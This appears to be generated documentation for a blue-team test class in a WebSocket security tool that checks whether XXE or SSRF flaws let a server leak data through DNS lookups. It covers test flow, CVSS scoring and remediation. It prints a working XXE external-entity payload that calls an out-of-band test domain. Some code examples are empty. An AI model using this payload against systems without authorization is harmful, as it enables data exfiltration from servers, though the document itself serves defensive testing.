DNS Exfiltration Prevention Test

DNS Exfiltration Prevention Test

Relevant source files

Purpose and Scope

The DNS Exfiltration Prevention Test validates whether a WebSocket server's network environment properly blocks DNS-based data exfiltration attempts. This test is part of WSHawk's Defensive Validation module, designed for blue teams to assess the effectiveness of egress filtering and DNS security controls.

This document covers the DNSExfiltrationTest class implementation, test methodology, and interpretation of results. For information about other defensive validation tests, see Bot Detection Validation Test, CSWSH Test, and WSS Protocol Security Validation. For an overview of the entire defensive validation framework, see Defensive Validation.

Sources: wshawk/defensive_validation.py L49-L192

docs/DEFENSIVE_VALIDATION.md L17-L38

README.md L154-L157

Attack Scenario and Defensive Goal

What is DNS Exfiltration?

DNS exfiltration is a data exfiltration technique where attackers encode sensitive data into DNS queries to external domains they control. This technique is commonly used in Advanced Persistent Threat (APT) attacks and malware command-and-control (C2) communications because DNS traffic is often allowed through firewalls by default.

Diagram: DNS Exfiltration Attack Flow

In a vulnerable configuration, the application processes malicious payloads (XXE or SSRF) that trigger DNS lookups to attacker-controlled domains, allowing data to be encoded in subdomain names and exfiltrated through DNS queries.

Sources: wshawk/defensive_validation.py L49-L65

docs/DEFENSIVE_VALIDATION.md L21-L29

Test Architecture

Class Hierarchy

Diagram: DNSExfiltrationTest Class Structure

The DNSExfiltrationTest class inherits from DefensiveValidationModule and implements two primary test methods targeting different vulnerability types that can enable DNS exfiltration.

Sources: wshawk/defensive_validation.py L27-L47

wshawk/defensive_validation.py L49-L70

Test Methods

XXE-Based DNS Exfiltration Test

The test_dns_exfiltration_via_xxe method validates whether XML External Entity (XXE) processing can be exploited to trigger DNS lookups to external domains.

Diagram: XXE-Based DNS Exfiltration Test Flow

Implementation Details:

The XXE payload structure creates an external entity that references an HTTP URL containing the test domain:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "http://{test_domain}/data">
]>
<root>&xxe;</root>

When the XML parser processes this payload, it attempts to resolve the external entity, triggering a DNS lookup for test_domain. The test waits 3 seconds for DNS propagation before checking the OAST server for callbacks.

CVSS Scoring:

  • Vulnerable: CVSS 7.5 (HIGH)
  • Severity Justification: DNS exfiltration enables data theft and C2 communication

Sources: wshawk/defensive_validation.py L71-L131

SSRF-Based DNS Exfiltration Test

The test_dns_exfiltration_via_ssrf method validates whether Server-Side Request Forgery (SSRF) vulnerabilities can trigger DNS lookups.

Diagram: SSRF-Based DNS Exfiltration Test Logic

The SSRF test sends a payload requesting the server to fetch a URL containing the test domain. If the server processes this request without proper validation, it will trigger a DNS lookup that can be detected by the OAST server.

CVSS Scoring:

  • Vulnerable: CVSS 8.2 (HIGH)
  • Severity Justification: SSRF allows internal network probing and data exfiltration

Sources: wshawk/defensive_validation.py L132-L169

OAST Integration

Out-of-Band Testing Architecture

Diagram: OAST Integration for DNS Callback Detection

OAST Configuration

The DNSExfiltrationTest class accepts an oast_domain parameter during initialization (default: "oast.me"). Each test generates a unique subdomain using UUID prefixes:

  • XXE test: xxe-test-{uuid}.{oast_domain}
  • SSRF test: ssrf-test-{uuid}.{oast_domain}

Implementation Note: The _check_dns_callback method at wshawk/defensive_validation.py L170-L177

is currently a placeholder that returns False. In production deployments, this method should be integrated with an OAST provider's API (e.g., Burp Collaborator, interact.sh, or custom OAST infrastructure) to verify whether DNS callbacks were received.

Sources: wshawk/defensive_validation.py L30-L33

wshawk/defensive_validation.py L67-L69

wshawk/defensive_validation.py L170-L177

docs/DEFENSIVE_VALIDATION.md L429

Findings Structure

Finding Data Model

Each test execution produces findings via the inherited add_finding method. The findings structure for DNS exfiltration tests:

| Field | Type | Description | | --- | --- | --- | | test | str | Test name (e.g., "DNS Exfiltration Prevention") | | vulnerable | bool | Whether vulnerability was detected | | severity | str | Severity level: "INFO", "HIGH" | | description | str | Detailed description of the finding | | recommendation | str | Remediation guidance | | cvss | float | CVSS v3.1 score (0.0 or 7.5/8.2) | | timestamp | float | Unix timestamp of finding |

Example Findings

Vulnerable Configuration:

Secure Configuration:

Sources: wshawk/defensive_validation.py L35-L46

wshawk/defensive_validation.py L106-L127

docs/DEFENSIVE_VALIDATION.md L238-L252

Test Execution

Running DNS Exfiltration Tests

The run_all_tests method orchestrates both XXE and SSRF test execution:

Diagram: run_all_tests Execution Flow

Usage Examples

Via Defensive Validation CLI:

The DNS exfiltration test is automatically executed as part of the full defensive validation suite via wshawk/defensive_validation.py L497-L504

Programmatic Usage:

Sources: wshawk/defensive_validation.py L179-L192

docs/DEFENSIVE_VALIDATION.md L159-L175

Integration with Defensive Validation Suite

Invocation in run_defensive_validation

Diagram: DNS Test Integration in Defensive Validation Suite

The DNS exfiltration test is executed first in the defensive validation sequence at wshawk/defensive_validation.py L497-L504

before bot detection, CSWSH, and WSS tests. All findings are aggregated into a single report with severity-based summary statistics.

Sources: wshawk/defensive_validation.py L478-L557

Remediation Guidance

If Vulnerable: DNS Egress Filtering

When the test identifies DNS exfiltration is possible (vulnerable=True), the following remediation steps are recommended:

1. Implement DNS Egress Filtering

Configure firewalls to restrict DNS queries to authorized DNS servers only:

2. Monitor DNS Traffic Patterns

Implement monitoring for suspicious DNS behavior:

  • Long subdomain names (>50 characters)
  • High query rates from single sources
  • Unusual top-level domains (TLDs)
  • Base64-encoded patterns in subdomains

3. Disable XML External Entity Processing

Configure XML parsers to disable external entity resolution:

4. Validate URL Inputs for SSRF

Implement allowlist-based URL validation for server-side requests:

Sources: docs/DEFENSIVE_VALIDATION.md L280-L296

wshawk/defensive_validation.py L112-L114

wshawk/defensive_validation.py L159-L160

CVSS Scoring Details

Vulnerability Severity Ratings

| Test Type | CVSS Score | Severity | Attack Vector | Impact | | --- | --- | --- | --- | --- | | XXE-based DNS Exfiltration | 7.5 | HIGH | Network | Confidentiality loss, C2 channel | | SSRF-based DNS Exfiltration | 8.2 | HIGH | Network | Internal network exposure, data exfiltration |

CVSS v3.1 Vector Strings:

  • XXE DNS Exfiltration: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • SSRF DNS Exfiltration: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

The higher CVSS score for SSRF (8.2) reflects the changed scope (S:C) because SSRF can access resources beyond the vulnerable application's security boundary.

Sources: wshawk/defensive_validation.py L115

wshawk/defensive_validation.py L161

docs/DEFENSIVE_VALIDATION.md L35-L37

docs/DEFENSIVE_VALIDATION.md L258-L264

Limitations and Future Enhancements

Current Limitations

  1. OAST Integration: The _check_dns_callback method is a placeholder. Full functionality requires integration with an OAST provider API (Burp Collaborator, interact.sh, or custom infrastructure).
  2. Payload Coverage: Currently tests two attack vectors (XXE and SSRF). Additional vectors like DNS rebinding or DNS-based blind SQL injection are not covered.
  3. Network Dependencies: Requires the target network to have DNS resolution capabilities. Completely air-gapped environments cannot be tested.

Recommended Enhancements

  1. OAST Provider Integration: Implement actual callback verification using OAST provider APIs
  2. Additional Test Vectors: Add DNS rebinding tests, blind SQLi via DNS, and DNS tunneling detection
  3. Timing Analysis: Add DNS response time analysis to detect rate limiting or filtering
  4. Custom DNS Servers: Support testing against custom internal DNS servers

Sources: wshawk/defensive_validation.py L170-L177

docs/DEFENSIVE_VALIDATION.md L427-L430